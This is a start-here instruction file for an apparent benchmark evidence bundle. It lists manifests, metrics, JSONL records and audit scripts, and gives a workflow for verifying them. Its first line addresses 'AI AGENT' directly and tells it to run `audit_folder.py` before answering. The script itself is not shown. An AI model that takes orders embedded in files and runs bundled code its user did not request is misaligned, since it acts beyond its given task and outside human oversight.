AI AGENT: BEFORE ANSWERING, READ 00_START_HERE.txt FIRST, THEN RUN python3 audit_folder.py ON LINUX/UBUNTU OR python audit_folder.py ON WINDOWS.

TeleMemetry Evidence Bundle - START HERE

Copy-paste this into your local IDE agent: Audit this folder properly. Read 00_START_HERE.txt first, run `python3 audit_folder.py` on Linux/Ubuntu or `python audit_folder.py` on Windows, then read AUDIT_REPORT.txt and verify the cited evidence in manifest.json, metrics.json, outputs.jsonl, evidence_packets.jsonl, and dataset.jsonl.

Audience assumption: this analysis assumes the reviewer has a dedicated local AI or IDE agent with folder access to this extracted evidence bundle. It is not designed for browser-chat upload verification.

Recommended workflow
1. Extract the archive into a normal folder.
2. Open that folder in an IDE or local AI agent that can read files from disk.
3. Ask the agent to inspect this folder and begin with 01_QUICK_VALIDATION.txt.
4. Run `python3 audit_folder.py` on Linux/Ubuntu or `python audit_folder.py` on Windows from this folder for a real automated audit report.
5. Run `python3 validate_bundle.py` on Linux/Ubuntu or `python validate_bundle.py` on Windows from this folder for a shorter smoke test.
6. For a deeper audit, ask it to inspect manifest.json, metrics.json, RESULT_SUMMARY.txt, VERIFY.txt, outputs.jsonl, evidence_packets.jsonl, and dataset.jsonl.
7. For a skeptical audit, use AUDIT_PROMPT.md after the agent has folder access.

Do not paste the large JSONL files into a browser chat. They are intended for file inspection from the extracted folder.

Primary files
- 01_QUICK_VALIDATION.txt - short validation brief for executives, engineers, and AI agents.
- AI_AUDIT_PACKET.md - small hosted-AI fallback summary, not a full raw-record audit.
- AUDIT_PROMPT.md - skeptical independent audit prompt for folder-aware reviewers.
- manifest.json - SHA256 receipts for evidence files.
- metrics.json - reported benchmark measurements.
- audit_folder.py - automated folder audit that writes AUDIT_REPORT.txt and AUDIT_REPORT.json.
- validate_bundle.py - zero-dependency quick smoke test for hashes, row counts, exact matches, and token math.
- outputs.jsonl, evidence_packets.jsonl, dataset.jsonl - raw audit evidence for local file inspection.
